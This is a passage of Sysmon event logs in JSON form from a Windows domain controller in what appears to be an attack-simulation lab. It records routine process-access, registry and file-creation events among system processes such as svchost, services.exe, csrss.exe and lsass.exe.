C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.360\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.360","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:49:40.360\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{CD132803-E839-4F9C-B8ED-119781049A0F}\\DateLastConnected\r\nDetails: Binary Data","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.360","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{CD132803-E839-4F9C-B8ED-119781049A0F}\\DateLastConnected","Details":"Binary Data","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.360\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.360","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: T1053\r\nUtcTime: 2020-08-07 11:49:40.360\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetFilename: C:\\Windows\\Tasks\\SA.DAT\r\nCreationUtcTime: 2016-09-12 11:34:03.403","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"T1053","UtcTime":"2020-08-07 11:49:40.360","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetFilename":"C:\\Windows\\Tasks\\SA.DAT","CreationUtcTime":"2016-09-12 11:34:03.403","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: 